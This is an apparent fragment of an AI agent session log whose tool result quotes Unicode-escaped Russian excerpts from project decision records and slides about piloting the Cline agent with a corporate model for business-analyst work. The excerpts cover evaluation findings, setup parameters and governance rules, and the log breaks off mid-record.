\u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n----\\n  \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0432 \u0441\u0440\u0435\u0434\u0435: \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a\\n  \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438.\\n- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n  \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- \u0421\u0440\u0435\u0437 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441: \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 `security` \u0438\\n  `hardware`, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u0441\u0440\u0435\u0437\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n- \u041f\u043e\u0440\u043e\u0433\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u043e\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0443 \u043f\u043e\u0441\u043b\u0435\\n----\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n----\\n28:\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n30:[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool \u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n47:2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n50:5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n----\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:42:\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:43:- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:193:\u251c\u2500\u2500 runs/                          # \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:281:\u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:314:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f. \u041e\u0442\u0447\u0451\u0442 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0441\u044b\u0440\u044b\u043c\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:345:\u0434\u043e\u043c\u0435\u043d\u0435. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e `ba-ai-playbook` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:366:| \u0425\u0440\u0430\u043d\u0438\u0442\u044c debug-\u0441\u0435\u0441\u0441\u0438\u0438 \u043a\u0430\u043a `runs/DEBUG-*` | \u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e: \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043e\u0446\u0435\u043d\u043a\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:26.039Z] [INFO]       }\n[2026-09-29T07:55:26.039Z] [INFO]     ]\n[2026-09-29T07:55:26.039Z] [INFO]   },\n[2026-09-29T07:55:26.039Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:26.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"uuid\": 